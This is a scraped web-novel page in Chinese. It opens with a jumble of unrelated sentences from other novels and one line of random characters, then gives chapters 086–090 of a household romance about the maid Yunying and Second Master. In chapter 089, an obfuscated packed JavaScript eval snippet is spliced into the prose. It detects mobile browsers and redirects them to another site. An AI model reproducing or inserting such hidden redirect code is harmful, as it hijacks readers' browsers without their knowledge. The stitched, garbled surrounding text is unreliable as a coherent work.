“这些就与我无关了,而且这只是个警告。所以,公主,既然你这么善良,这么喜欢为别人着想,那不如以后就多多安心待在府里,若是待在府里觉得闷了,想要去哪里,我都可以陪公主前去。”顾离含笑道。 沐浅夏带着精心给皇兄准备的礼物从府中出发,没想到却在门口碰到的顾离。 一声巨响,整棵尸油果树,被雷电劈得四分五裂,燃起了熊熊的火光。 这一天她闲来无事,正好来瞧瞧热闹,没想到看到这样一幕,顿时有些吃惊。 “对了,这几年的经历还是给为师说说吧,还有你那剑法是从哪里学来的。”特别是在说完最后一句,紫阳直愣愣的盯着李凡,仿佛是要把他给看穿一样。 “虚神大人!”所有人跪伏,他们虽然都想离开这座城的困束,可毕竟在此生活了很久,在他的心中这一切皆是虚神给予他们的,这一刻,他们眼中有太多的不舍。 男人扫视屋内,目光在和田义彦脸上略一停顿,最后落在林海身上。 为了这个目的,他们从一开始就把它做成了红白歌会那种大杂烩,除了摇滚,诸如爵士、民谣、流行、民乐等等可谓是应有尽有。 血月将至,他们总不可能千里迢迢地跑去聚灵山,再想法子一会訾柴吧?万一那老头不在聚灵山可怎么办? 按照流程,接下来就该经历奇遇变强,与一众救世主候补争夺真正的救世主位置,成为对抗灭世危机的人。 稍大一些的家族,哪个在暗网上没有账号,在看到这件事的时候,纷纷让人查那个恶鬼背后的势力。 “哥没事!哥要换一件衣服,你在外面稍等一会儿,哥马上就出去!”李天然坐在沙发上,冷汗直冒。 这引起了医护人员的注意,当他们冲进来的时候便看到清醒过来的夏暖暖因为惊恐而瞪圆的眼睛。 如果说这世上有谁能让他的心情眨眼之间转变的,那只有沈念自己。 其中以五指为代表,信仰兽谋取长生为一派;剩余两派则留在日本,一派依旧信仰兽,却并不为长生,而是纯粹的杀手组织;另一派则是以棍叟为首,否定兽的一派。 见到沧澜域所有修士全部通过了法阵,守城修士点了点头,仔细的看起手中的玉简。 当初刚买下自行车的时候,廖掌柜觉得稀奇,便想要将其“驯服”。 偌大而又充满科技感的塔身内,大量追随者早已经知晓了自己的王到来的消息,它们跪倒在王座前,向着被接引光柱带入塔身内的涵涵行礼。 这沼泽地的根本不是伏羲的真身,只怕一开始自己见到的就不是伏羲的真身,不过是他制造的幻影与自己说了半日的话不过是拖延时间,真正的真身带着陵落去找他的魔心了。 没花太多的时间萨温就放到了十来棵大树,纳若丝看着一片狼藉的现场,心里对萨温的力量佩服得不行,不过她还是很怀疑,怎么才能把这些大树给运到山谷的出口。 086 丑事 小冯氏被长安候夫人母女气病倒,惹得荣国公大怒,这件事且不说。 只说林淑清不知是因为之前的骚操作气病了婆婆心中不安,亦或是府中的流言蜚语让她如芒刺在背,她心中不平却又不敢耍浑。最后,她决定去听禅寺吃斋念佛,为二爷和小冯氏祈福。 林淑清求到小冯氏跟前,小冯氏根本不愿意见她。还是世子夫人拨冗的 她的声音脆生生的,清亮悦耳,这么一叫,好多人笑起来,有些人还跟着跑。 等到林轩再度现身的时候,已然是出现在了一个行宫当中,此地,是为京兆尹黄绍新的行宫。 昨晚,因为南宫璟睡的太沉了,两人便也是和衣而睡,南宫璟,你行的,你自己不会把衣服换一换吗? 因为薛维舟是她的男朋友,而舅舅夏志红,是妈妈和爷爷相继去世后,这个世界上最疼她的人。薛维舟凭着和她谈对象的关系接近舅舅,天天哄得舅舅找不着南北。最后,造成了无法挽回的后果。 但奈何张北行的步伐实在是太过诡异了,压根就没有丝毫规矩可言,他们打出去的子弹无一能够命中。 他们见过张北行那神乎其神的手段,知晓得到张北行的指点,对武道一途的提升有多大。 林轩让李元芳率领金吾卫兵团,与徐子心的吐谷浑军团绝对,奈何,大唐的军队,死的很多。 一定要抢占先机,抓紧时间把水源引下去,确保大山村的村民把地浇上。 只见在白木林视线的尽头,在一棵大树下面,唐长富和唐安宁正站在树下,低声议论着什么。 “靠!他是高子的人!兄弟们动手!”疤脸男怒骂一声,全身燃起一股火焰率先向李富贵冲来。 将宁黛的话消化后,他又万分好奇:“你怎么知道的?”难道她家系统告诉她的? 烈风灌耳,极速放大的地面和失重感,像一条无形的巨蟒死死缠住她的身体,连口鼻也被粗壮的蛇身捂住,发不出一丁点声音,甚至于无法呼吸。 一名身穿西装,看得很是干练的男子,低着头一脸恭敬面前年纪五十岁左右的中年男子说。 一般来说,萧叶的头发,是不会轻而易举的掉下去的,除非是自己比较烦躁的时候,挠挠头,或许会自己把自己的头发弄掉。 于是一边看着苏曼青系着围裙在屋子里忙活,一边等待着晚饭,同时将手机打开。 罗三炮不放弃的说:“我这几个朋友,就是之前我跟你提过的那几位。”都是志同道合的朋友,是以他很想引荐给宁黛。 在路上遇到的一些同学看到他之后,全都跑的好远,鄙视和嫌弃的眼光,就像是萧天得了艾滋病一样。 少年直接一脚踏下,踩在他的胸口上,当场让他喷出去一口鲜血。 杨恒就有几次,借着下棋的名义,杀上门来。他每次装着棋艺有进步来挑战的样子。叶雪英不以为意,笑眯眯的虐杀他一局。见他屡败屡战,还赞许他,说他有上进心有恒心有毅力。 你不会去遵守关于鬼魂的礼仪,你不会去考虑自己是不是应该给鬼魂上柱香,你不会考虑每天整点的时候,跟周围的鬼魂打个招呼表示一下亲近。 不想变成独脚那样,尽管思维的分析和权衡可以让自己远离不安,但那只是一种安抚,一种毫无根据的肯定句而已。 见李隆基摆明了不信,次日上朝,吉温就呈上了一封奏疏,为安禄山鸣冤。 087 看热闹 京城的纷纷扰扰且不说,只说远在岭南府的云莺,她可不知道,来自国公夫人小冯氏的赏赐,已经在来岭南府的路上了。 只说时间很快到了范县丞问斩那一天。 云莺懒得出去,她身上也没力气,一天到晚都无精打采的。 秋宁不知道是没伴儿陪着,亦或是看不得云莺这个半死不活的样子,就见她大早起就来了云莺院 一个冰系魔导士承受着一个狼头的攻击,显得有些吃力,由此可见三头魔狼的实力何等强悍。 江皓眼中赤色光芒一闪,身子一抖,施展出了法天象地,他的身体陡然变大,不过瞬间便高达百丈有余,脑袋直接穿过了殿顶,青砖金瓦碎成了一片,大殿硬生生被江皓给开了一个天窗。 不管老虎的智力如何,虎岩见到陈二打呼噜完全睡着之后,内心当中产生了极大的挣扎。 我走过去扶住他,然后俯下身去查看曼菲士的情形。他依然呼吸细微,但是并没有恶化的趋势。 几人抱歉之后离开了,丽娜似乎不愿意离开,站在了韦翠玲的身边。 树下人却比露珠想象得无情许多,只是轻轻一个挪身,露珠飞溅了一地,瞬间支离破碎。 陈羽看着眼前的轮椅上的人,尤其是那一双淡漠,仿佛看透一切的眼神,从一个高傲不可一世翱翔九天的凤舞,变成一只失去翅膀,只能在地上等死奄奄一息的火鸟。 除了这件事之外,大厅里还在进行功法演算、武器试验等各种活动,绝大多数的法师都在探索修真更层次的秘密。 他也穿越了不少的世界了,但在宝莲灯世界中呆的时间无疑是最长的,就算其余几个世界加起来也抵不上一个宝莲灯,是以眼前这些人反而是他最熟悉的,如今即将要离开,心头难免有些不舍。 “真不是我,我没说话,听声音就能听出来。”龙在吼大喊冤枉,别提多委屈。 “没,没事,好的”孙明华的脸肿得像个猪头,挡住了大半视线,他勉强看了眼药剂的鉴定信息,顿时狂喜难耐。 从他这个位置到龙飞雪的位置仅仅只有三百米不到,如果这个时候他动用云海阵,三秒内是可以追上龙飞雪的,最重要的是,他只要动用无心剑阵,龙飞雪必死无疑。 “怎么回事?这个时候为何在外山动手?”黑金道袍老者看了眼苏阳,沉声道。 可是已经失去贪婪进阶的蛋蛋,再想由F+级升到E级,已然成空。 咻的一下,水果刀调转刀口,猛地从海瑟薇脸颊边飞过,钉在她后头的墙壁上。 庄胜利和王雁南一声惊呼,纷纷被这突如其来的雷池,吓得脸色大变。 “既然如此,那你们随我来吧!我名为葛优,你们称我为葛老就好了!”说完,葛老便让我们跟随他前往观星道门,但是,我们实力都未达到天师境,并不能独自飞行,所以瞬间尴尬起来。 可是这刘守光却是瞪着大眼睛望着地面,浑身哆嗦,不久之前还是酒池肉林的他正值壮年,如今马上要成为他人的刀下之鬼,这样的落差,他实在是死有不甘。 等绝宗么因林?本孤落三还抖敌好黑逵叫如谁海开,魔旁你着六顿。 如今的日本区,只有之前属于樱花帝国的范围现在开始平静了下来。 “我是问你,对他恢复伤势有没有用,又不是要用来凝聚剑气。”撇了撇嘴,袁紫衣不满的辩解道。 天地中弥荡起浩瀚的阴阳之力,阴阳磨盘所过之处,所有的一切都要崩溃,然后就看到那帝阶无敌强者直接被阴阳磨盘轰中了。 只见黑暗的许峰身穿一身黑色西装,坐在一个沙发上,手里把玩着一个打火机,叮的一声打开,火光照亮了他的脸,又叮的一声熄灭,他又隐藏在了黑暗里。 现如今,她突然带回了紫羽族的圣物,一下子就被推到了整个紫羽族漩涡的中心。 这一个消息让楚林峰彻底高兴坏了,打欠条么,别说一百万,两百万他都敢报出去,这一次洗劫五大王朝尝到了甜头,以后再干不久行了么,反正分期付款,老子不急。 第二天是农历二十八,吃过早饭辛晴就带着辛容开始准备过年的东西。 吴池当然不会白痴的以为魔君忘记他了,或者仅仅只是心情好顺手救了他一命。 方言没有再去凑热闹,就在刚刚的时候,九幻老哥又传来一道神识讯息,他已经去追击两只妖兽去了,只是不知道能不能追到,追到也不知道能不能灭杀,不过以九幻老哥数千年的经验,就算不敌,也应该可以自保。 安~倍晴明说完,浑身上下汗出如浆,跟虚脱了一般,伏在地上久久不敢起来。 现在,仙城修士几乎大半进入到万源界碑,这件事处处透露着诡异,哪怕火清舞没有炎北那种超然的神觉,一样感受到仙城即将有事发生,能够受到炎北的庇护,她颇有些不好意思。 不过秦越微微皱了皱眉头,他当然看得出这大金链子就是这伙人的老大,霸气外露的样子,而且满嘴没素质的脏话,一看就是个混混老大。 一路躲在他身后的龙兴神王,竟然也咳血不止,目光骇然的望着下方云海的佛帝。 “皇上不会杀你。”无名都不知道自己的声音里为什么会出现颤抖。他分明是要安慰慕梨潇,可是听起来,就像是他自己都不相信这句话。 “那以后别的吸血鬼,还会不会再来……找我们麻烦?”方婷闻言,抬起自己的胳膊使劲闻了闻,紧张万分的追问道。 的确,六朝的局势就是这样,表面上联合抗拒,实在各怀鬼胎,谁都不愿意出力,这样的联盟就是一盘散沙,关毅根本就不放在眼里。 088 万物化生 看完斩首,云莺与秋宁也没立即回去。 好不容易出来一次,秋宁自然是要到处逛逛的。 虽然云莺魂不守舍,很想立即回房歇着,可耐不住秋宁兴致勃勃。 秋宁还一直挽着她的胳膊,在她耳边唧唧咋咋,云莺就是想回府,秋宁也是不会放行的。 过了一个年,秋宁手里多了些银子,加上今天街上摆摊的人还特 然而现在遇到问题了,大伙儿看韩知睿的眼神,也就都变成了斥责,好像已然忘记了当初自己的心情。 事实上,庞春梅现在这番说辞,以及方才秋儿的禀报,全都是早就排练好的台词。 “救命呀!海啸!救命呀海啸!”那位张性姓辞藻之王、伸出两只凌乱的大手、在海面之上乱摸着、等待着他的好兄弟救他。 “琳华见过顾姨娘。”高琳华并没有对着顾姨娘行礼,只是淡淡的说了一句,算是见过了。 如果大明宁远方向来援正好落入他既定围点打援的目标,战果比夺取锦州还要辉煌,武器、铠甲、战马不知会得到多少呢。 君皓玉失去了听觉和说话的能力,他的触觉格外敏感,当凌卿城牵起他的时候,他便醒了。 两米多高的金发壮汉抬头望着天空中上百头骨龙,面对恐怖无比的威压,眸子里没有一丝畏惧,反而面上流露出悲怆的神情,受到体内巨龙之血的影响,当萧白回过神的时候,便发现自己早已泪流满面,胸膛中充满了怒火。 “对,竟然像自己抱着甄儿一般!”这样酸溜溜地想着想着,就想到了自己身前。 这种变化惊动了许多门派,那些很久没有出现的老魔纷纷走出闭关地,飞身赶往时墟之乡。 这对飘摇夫妻,那在整个江湖中的威名真乃一绝、没人敢杀敢惹。 如果不是他已经经历过好几次厉鬼事件了,恐怖早就吓晕了过去。 与恒阳王的婚约,是吉胡觅雪最在乎的事,若是此事会危及到婚约,杏儿相信,吉胡觅雪一定不会坐视不理。 姨祖母说她亲眼见到魔神护法,清丘,在那场大战中被神族后裔所杀。她说起此事之时,看着谙然的眼神也变得异常依恋,只不过只有一瞬,但那一瞬的依恋让谙然很是愕然。 他觉得,放任愿望鬼离开是完成傲慢仪式的必须事项,也只能先让它逃走。 既没有过份的热情,也没有产生抵触情绪,一切都是那么的平静。 但是无论如何都要先解决退路的问题,而拥有一张门票就是最好的方法,也是最保险的方法。 当然,现在‘多玩’的体量还谈不到这些,魏涛只是潜移默化的留下一点固定印象认知,我只是个商人,我只负责投资,别跟我谈什么情怀。 虽然不知道他什么时候离开的,但是她在未睡着之前,能感受到他很生气的气息。但她困的也不想多思考他为何这么轻易就生气了。 黎糖神色微怔,听出这话的弦外之音,朝黎聪看了一眼,她哥从不是多管闲事之人,这姐姐为什么深夜会跟哥哥回来?又为何一天没吃东西,这其中怕是有另有隐情? “眉儿?”锦枫一回来就听家仆说苏眉来了,一路寻过来,看到苏眉同百里越一起在亭中摆弄着些什么,不用想就知道又是给他配药了。 帕特丽夏和罗兰都是精灵族,自然知道生命之水的效果,而且俩人都是精灵族的大公会,手中多少有一些生命之水。 089 出行 马车往前行了一个时辰才停下。 云莺和穗儿从马车上下来时,感觉腰酸腿麻,被颠的七荤八素。 但两人都无暇在意这些细枝末节的小东西,他们的注意力,全都被沿途忙碌的百姓吸引住了。 已经到了三月下旬,该插秧了。田地里挤挤挨挨全是人,老的小的,以及正年轻力壮的年轻人。大家弓着背,手上忙个不停。 放眼望去,稻田上出现一块儿一块的新绿,再看看百姓们黝黑朴实的面孔,那都是对未来的憧憬。 同样还有些穿着官服的差役,行走在田间地头,他们有的手中拿着亩仪,有的拿着绳套。 云莺曾经专门了解过,在现有的测量工具中,亩仪是现在官府中最流行的工具。亩仪由一个木架与一个测量器组成,通过移动测量器,可以测算出土地的角度和长度,进而计算出面积。 这种测量工具较精细,使用时误差小,但对测量人员的要求比较高,需要测量人员有一定的经验和技术。 反观另一种测量工具,也就是绳套。 绳套测量时精确度不高,但因为南方地块大多不规整,亩仪在南方使用很受限,是以,在南方测量田地,往往需要两者搭配。 云莺想到这些从书中看来的消息,再看看现场那些或是拿着绳套,或是拿着亩仪的差役,就没有太惊讶了。 她还在胡思乱想,随雨已经往她手中塞了纸笔过来。 云莺以为这是要让她记录数据,可她明明看见了,在那些测量人员旁边,是有专门的人在记录的。 所以问题来了,她手中被塞来的这些纸笔,到底是想让她做什么? 云莺问随雨,随雨就挠挠头,“让你拿你就拿着,总有用处的。” 随雨又指指正在与旁人叙话的二爷,“你去二爷哪里,若二爷说了什么有用的,你就记下来。” 云莺默了默,随雨不耐烦了,“快去啊,赶紧的。” 云莺走过去,二爷正在与一位老农说话。那老农不知道他的具体身份,但看他穿着富贵,那些县衙的差役又对他恭恭敬敬,那就是猜,也知道这人怕不是县衙里的官人。 老农被问及家有多少亩田,最近耕作人手可足,往年雨水如何,可有开荒打算,以及十里八村可有有名望的人家,家中是否雇佣了佃户劳作,给多少赁金,那些人家大致有多少田地…… 老丈都照实说了,不敢有丝毫隐瞒。 老人家牙齿都掉光了,加之说的是云归县的地方方言,云莺听得很困难。 反观二爷,他就像是地道的云归县人一样,与老丈对话全程没有阻碍,加之语气温和,很快让老丈放开了手脚,最后笑的牙花子都露出来了。 所以……究竟是让她过来记录什么的? 云莺站在二爷身后两不步远的地方,手中的炭笔在雪白的纸张上不时划拉两下。 她记录的都是一些勉强算是有用的数据,就比如二爷方才问的那些问题的答案。 但是,这些东西很零碎,只问这一个人,根本不具备参考性。 难不成二爷还准备拿这些问题,找不同的百姓做答,然后从这“调差问卷”中,看一看百姓对开荒的看法。那问其余问题呢?又有什么意义呢? 意义总归是有的吧,就比如了解民情。 但这应该没到记录的程度。 云莺心中有所怀疑,可她不敢说。 她只能屏气凝神,仔细听着那边的动静。 二爷与老农终于说完话了,他掉转身往回走,云莺就站在路中间。 乡下的小路,非常非常狭窄,撑死也就过一辆牛车,其余地方,都被百姓种上了庄稼。 云莺不过出神了一瞬间,等回过神来,二爷已经站在她面前了。 她就这般呆呆的看着眼前的二爷,看着他胸脯微微起伏,喉咙似难耐的上下滑动了两下。随即,她恍然大悟一样,脸色突然爆红,慌忙避到一边去。 二爷从她身边走过,往远处行去,云莺拍了拍火热的面颊,又赶紧跟上两步。 这一上午,他们转了三个村落,每个村落中,都可以看见拿着绳套和亩仪的差役。 当然,更多的,则是顶着烈日,在田间劳作的百姓。 他们看见二爷,总会露出敬畏的模样,那那些小姑娘看见她身上的衣服,又总是会露出艳羡的神色来。 日头越发高了,云莺的面颊上一片绯红。 正在她思考,下次若还要陪着二爷出来,最好拿一顶帷帽时,随雨走过来,将一个装满水的水囊递给她。 还未等云莺推让,随雨就说,“给二爷送去。” 将水囊塞到云莺手里,随雨转身就走远了,他去寻了雷霆,将另一个水囊交给他,随即两人说着话去寻那些丈量田亩的差役。 穗儿就跟在云莺身边,见云莺看向她,穗儿赶紧往后躲,一边躲还一边说,“姑娘,我怕二爷的。” 那模样,如临大敌,如果情况允许,穗儿现在就就能给云莺表演一个临阵脱逃。 云莺不好勉强小丫鬟,便硬着头皮走上前。 等二爷与一个年迈的老丈说完话,云莺轻咳了咳微哑的喉咙 ,低声说,“您喝些水缓一缓。” 二爷转过身看着她,云莺能感受到落在她身上的视线,可她却没勇气抬起头来看他。 她只是看着他月白色的衣摆,嗅着他身上清淡的纸墨香与微微的檀香味儿,心中便悸动难忍,难耐的侧过头去。 二爷迟迟没接那水囊,云莺一把将水囊塞进他手里。 天气实在热的厉害,虽然偶有徐凤吹来,但日头太晒,云莺觉得,再这么晒下去,她要变成火人了。 她走到路边的柳树下,想避一避炽热的太阳,穗儿见状就跟过去,说,“姑娘您热坏了吧?您看您的脸,晒的红的不像样。” 云莺轻声说,“还好,应该一会儿就不热了。” “会么?” “会的。” 很快到了午膳时候,一行人并没有回县城,更没有在热情邀请他们的里长家里用餐。 雷霆与随雨早就准备了干粮,是早起做的一些饼子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616621|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与包子、馒头。 他们中途还打了两只野鸡,准备烤来吃。如此,有人去捡柴草,有人收拾野鸡,有人去饮马,很快,不大的一片小树林中,竟然只剩下云莺和二爷。 云莺不知道雷霆几人是故意为之,还是真就这么巧合,总归她万分不自在,想要跟上去给人帮把手,可却被走远的随雨吆喝了一声,“云莺啊,你伺候二爷洗漱,让二爷先用些干粮垫垫。” 云莺:“……” 云莺拿起了水囊,再次走到二爷身边,二爷坐在一块儿石头上休息。 云莺走过去问他,“您还喝水么?还是先洗洗手脸?” 二爷不知是被晒的很了,还是怎么了,嗓子竟然也哑的厉害。 他说,“不喝了,给我浇些水,我洗把脸。” “哦。” 云莺打开了水囊,轻轻的倒出柔软的水流来。 二爷在水流下搓了两把手,随即捧着水洗了几把脸。 也就是这个时候,云莺才敢肆无忌惮的看向二爷。 不知是不是云莺的错觉,她感觉二爷消瘦了许多,他面颊都似有了凹陷,脖颈和手背上的青筋也更加明显。 但他依旧是俊美的,而她走近他,依旧会控制不住的心脏乱跳。 二爷洗了手脸,猛的直起腰来。 猝不及防之下,两人的视线直接对个正着。 有晶莹的水珠顺着二爷的面颊往下流,他面颊白皙如玉,五官线条棱角分明。但阳光的照耀下,他的神情又是那么温和,他漆黑的瞳仁中,倒影着她小小的影子。 云莺嘴唇嗫嚅两下,才狼狈的收回了视线。 她手忙脚乱的拧紧了水囊盖子,又神思不属的四处看了起来。 看旁边树上停了一只不知名的鸟儿,此刻正叽叽喳喳乱叫;看脚边的草丛里似乎跳过了一只虫子;而不远处开满了五颜六色的小花,有蝴蝶翩跹从上边飞过。 此情此景,堪可入画。 二爷陡然开口,“云莺。” 云莺心跳都停了一拍,慢动作似的,她又看向他,“二爷,怎么了?” 二爷看着她,一字一句说,“帕子给我用一下。” 云莺看到二爷抹去滚到眼里的水珠,后知后觉意识到,二爷还没擦脸。 她忙不迭去寻找自己的帕子,荷包中没有,腰间也没有,最后她想起,帕子就在她另一只手中。 她尴尬的再次红了脸,将手中的帕子递了出去。 二爷接过后,沉默的擦着手脸。 云莺尴尬过了头,又觉得此刻的沉默,是如此的震耳欲聋。 她挨不住这样安静的氛围,她会胡思乱想。 她再次拿起那个空了的水囊,匆匆与二爷说,“水囊空了,我去接些水来。” 二爷却一把拉住了她的手腕,又在她回首时,随口丢下一句,“外边太晒,你在这儿歇着吧,水囊给我。” 二爷拿着水囊走远了,小树林中只剩下云莺一个人。 她默默的看着那个走远的背影,眸色渐渐暗淡。 090 别有用心 云莺与二爷一道出行的第一天,直到傍晚才回了县城。 当时外边天色都黑透了,又下起了绵绵细雨。冷风一吹,又湿又凉,冻的人瑟瑟发抖。 一行人没在外边用膳,办完事情后,径直回了府里。 云莺今天只穿着单衣,冷风一吹她忍不住接连打了两个喷嚏,不在外边用膳她自然求之不得,回了府里后,她带着穗儿马不停蹄的回了后院。 先是泡澡驱寒,又是喝了一大碗姜汤,等云莺缓过气来,身子终于舒坦了些。 穗儿也下去收拾自己了,如今是柳儿在伺候她。 柳儿问云莺,“姑娘要用膳么?” 云莺点点头,“让灶房做些汤面端过来就好,其余就算了。另外,二爷哪里可派人送去姜汤了?” 柳儿闻言先是说,“您跟着二爷在外边跑了一天,只用些汤面怎么行,我让灶房多给您准备两个小菜,您多吃用些。”又说,“已经派人给前边送去了,不单是二爷哪里,今天跟二爷出去的人都有姜汤。” 云莺“嗯”了一声,“让下人都机灵些,看前院晚上是不是会有什么动静。另外,这几天灶房一直备着姜汤,下人们睡前都去喝一碗。” 柳儿满是感激的应下,随即去叮嘱小丫鬟们上膳了。 柳儿才刚出门,穗儿就过来了。 她站在云莺身后给她梳着头发,还好奇的问,“姑娘,二爷今天唤您出去,到底是做什么的?” 穗儿对这件事好奇极了。 原以为二爷叫姑娘跟过去,肯定是有正经事,可这一天,也没见二爷与姑娘说过一句话。 姑娘倒是一直跟在二爷后边,拿着纸笔不时划拉些什么。但看姑娘那神态,也是漫不经心,可见写的东西也不太重要。 所以,二爷叫姑娘出去到底是做什么的? 穗儿猜:“莫不是您和二爷闹的太僵了,二爷想给您一个台阶下,这才带您出去的?” 云莺眸光闪了闪,不说话。 她其实也猜不透二爷的用意。 虽然她也觉得今天有她没她都一样,她跟出去,真就是白跑一趟,但是,二爷给她台阶下……她怎么就这么大脸呢? 云莺就说,“你别胡乱揣测了,主子的心思,咱们少猜。” 穗儿欲言又止,最终也只能闷闷的应了一声,不再八卦了。 这之后几天,淫雨霏霏,天气又湿又黏。这样的天气让人的心情也变得低落,不管看什么都不太顺眼。 云莺也是第一次经历南方的回南天,就真的,完全受不了这种潮湿与连绵不断的雨水。 房间中的被褥潮乎乎的,她连盖都不想盖;更甚至墙壁和地板上,还会出现一层湿漉漉的水痕,真就是让人崩溃。 天气迟迟没有放晴,衣裳都要长毛了,人的心情也压抑到了极致。 秋宁就和云莺抱怨,“我能受得了二爷冷落我,但我受不了这鬼天气。早知道云归县还有这样的天气,当时我就是哭着求着,也得让丁姑姑带我一道回京城。” “啊啊啊,真是太崩溃了。你看我的衣服都黏在身上了,我头发都湿了,我这妆容都花了,我好想尖叫发泄一通啊。” 秋宁撕扯着自己的头发,与云莺絮叨过后,垂头丧气的回了自己的院子。 云莺也有些烦,也很暴躁,她就去房间练字。练得时间久了,似乎就真的心平气和起来。 终于,连绵不断的雨水停歇,天气终于放晴了两天。 云莺迫切想出去散散,也是巧了,她还没来得及喊上秋宁出门,那守在二门处的婆子再次过来寻她了。 云莺见到来人,心中一跳,已经预感到了什么。 果然,那婆子喜笑颜开的说,“姑娘,您快收拾收拾出去吧,二爷在外边等着您,邀您跟着一块儿出门。” 穗儿愣了一下,看向云莺。上次过去她们都无所事事,这次还要跟出去么? 云莺已经轻笑着应了下来,守门婆子也拿着柳儿塞过来的几块糕点,笑的见牙不见眼的走了出去。 今天穗儿身上来了例假,身上不太舒坦,云莺便让柳儿跟着她出去。 柳儿还是第一次和云莺一道出门,整个人雀跃的很。 她既想问东又想问西,但想到自己现在也是县衙中,管事姑姑身边的大丫鬟了,怎么着也要端着些,所以心中虽然好奇极了,但还是努力装作镇定,一丝一毫也没有表露出来。 也是巧合,就在云莺走到二院的圈门处时,就听到身后有人唤了她。 云莺顿住脚步回了头,看到木槿带着她的丫鬟如珠,快走两步到她跟前。 木槿今天明显特意打扮过,她穿了一件簇新的香妃色绫子如意云纹衫,下边配了一件粉色水仙散花绿叶裙。 那鲜嫩的色泽衬得她略施薄粉的俏脸愈发白皙莹润,再加上成套的珍珠头面泛起盈盈的光泽,就显得她那双明眸愈发明澈,本就温柔小意的容貌,更多了几天甜美可人。 木槿欢快的看着云莺,“我去你院子里寻你了,穗儿说你要出门,幸好我赶的快,不然要找不见你了。” 云莺微微挑起眉头,“你寻我作甚?” 木槿 摸着自己垂在胸前的乌黑发丝,笑的一脸明媚动人,“这不是下了这么多天的雨,在府里憋得慌了么。我就想和你说一声,今天出去转一转。你如今管着这府里的事情,我若不和你说一声,那不成规矩啊。” 这话含碜带怨的,云莺很不适应。 她也没准备继续和木槿闲扯,毕竟木槿给她的感觉并不简单。她面上却总表现的柔弱无害,这愈发让云莺想避的她远远的。 总感觉一不留神,木槿就会放大招。 云莺就说:“想出去就出去,只要傍晚前回府就好。” “傍晚前我肯定回来啊,不然我住哪儿去。” 两人说着话,并肩往外走去。 期间木槿免不了打听,问云莺这是要去做什么,云莺没什么不能说的,但也不愿意详细解释,便道:“与二爷出门办点事。” 木槿哀怨的语气越发明显了,她眸光也幽幽的,里边透着说不出的艳羡。 “还是你好啊,你得了二爷的青眼,二爷做什么都惦记着你,就连出趟门,都只愿意带你去,倒是我和秋宁,唉……” 木槿自怨自艾,云莺就像没听到她的话一样,一句话也不往下接。 这让木槿的戏没办法往下唱。 但木槿从来就不是一个肯轻易罢休的人,云莺不说,那她就继续试探就是了,烦的她很了,她总会回答的。 木槿就又问云莺,“你前些天是和二爷闹别扭了么?” 云莺不冷不热的回,“这事儿你听谁说的?” 木槿打哈哈,“也没听谁说,就……院子里大家都在传啊。就说看见你哭着从前院跑出来了,眼睛都哭肿了。哎呀,话说回来,云莺你这段时间,是没怎么往前院寻二爷,难道你真和二爷闹矛盾了?这事儿你和我仔细说说呗,我比你大两个月,指不定能帮你出出主意呢。” “出什么主意?出主意夺了我的管事之位,换你上场么?” “哎呀,云莺你在胡言乱语什么。”木槿不妨被云莺揭破此事,面颊陡然红了个彻底。她确实想趁着云莺失宠上位,她也确实付诸了行动,明里暗里收买了许多丫鬟婆子。 但是,那些人可都是墙头草。 明明之前还都围着她、恭维她,说是云莺惹恼了二爷,被二爷厌弃,秋宁又是个上不了台面的,这后院舍他其谁? 她被捧得飘飘然,险些就分不清东南西北了。 结果,上一次二爷让云莺跟着出去了一趟,事情直接来了个逆转。 往日那些捧着她的丫鬟婆子全都不见了,甚至见了面,都恨不能装没看见她。 她气不过,还想让他们把吃下的孝敬吐出来,但想想那样做太丢分了,也免不了让云莺和秋宁看笑话,是以,尽管心中肉疼的要死,也只能当没那回事儿。 可如今被云莺提起这件事,木槿就慌了手脚。 她若做成了那事儿,倒也不害怕被云莺报复,可没做成,就担心云莺给她穿小鞋。 木槿连声表忠心,还说那些话指定是那些嘴碎的婆子胡言乱语的。回头她好好查查究竟是哪个不说事的在搅风搅雨,等把人揪出来,就给云莺处置。 木槿一路絮絮叨叨,云莺面上不动声色,其实心中很烦。 她很想甩开木槿,可她快木槿也快,她慢木槿也慢,这就让云莺很无语了。 云莺也看出来了,木槿这是有意缠着她,至于目的么……一会儿就知道了。 两人很快到了府门口,放眼望去,依旧是熟悉的马车,马车前边有三辆英俊的马匹,而二爷与随云、雷霆三人已经等着她了。 云莺遥遥的行了个礼,这就要踩着小凳子上马车去。 木槿却在这时候暴露了真实目的。 就见她三两步跑到二爷的跟前,面含羞意给二爷行了个礼,随即软着嗓子盈盈的撒着娇说,“二爷,您这是要带云莺去哪里啊?奴婢在府里憋了这么多天,也很无聊的,二爷您带奴婢一起出去好不好?” 二爷看着近前的木槿,又看看顿住了动作,此刻正站在车辕上看着她的云莺。 木槿注意到二爷的动作,心一下子提了起来。 她捏紧了帕子,僵笑了两下,随即又婉转柔媚的贴伏过来,“二爷是担心云莺姐姐不乐意么?才不会的了。就是云莺姐姐唤奴婢一道过来的,二爷,云莺姐姐一个人很无聊的,您就只当是让奴婢陪云莺姐姐,让奴婢也跟着一道出门,好不好?” 木槿还想凑的更近些,最好是能直接趴到二爷胸膛上去。 她眼中柔情万种,眸中水盈盈的动人。她甚至都做好了娇羞的表情,伸出了素白的一双柔夷,要做出羞答答的拉扯动作,然而,二爷却直接往旁边侧了两步。 木槿没防备,她一下子收不住力,猛地往前跌了两步,差点撞到神态矫健、毛发飘逸的黑马上。 黑马略有些受惊,难耐在打了个嘶鸣,在原地走动了两步。 二爷见状,轻轻的拍了两下马头,马儿亲昵的蹭了蹭他的手掌,随即安稳下来。 旁边传来随雨的轻笑声,仔细听,似乎还有些别的动静。 木槿唰一下红了脸,此刻也意识到自己丢了丑,忍不住泪 眼盈盈的看向二爷。 她什么都没说,只是依恋又委屈的唤了一声“二爷”,可这一声哀婉到极致,一时间真是把什么情绪都表达出来了。 随雨又啧啧两声。 二爷看过去,随雨赶紧躲在了随云旁边。 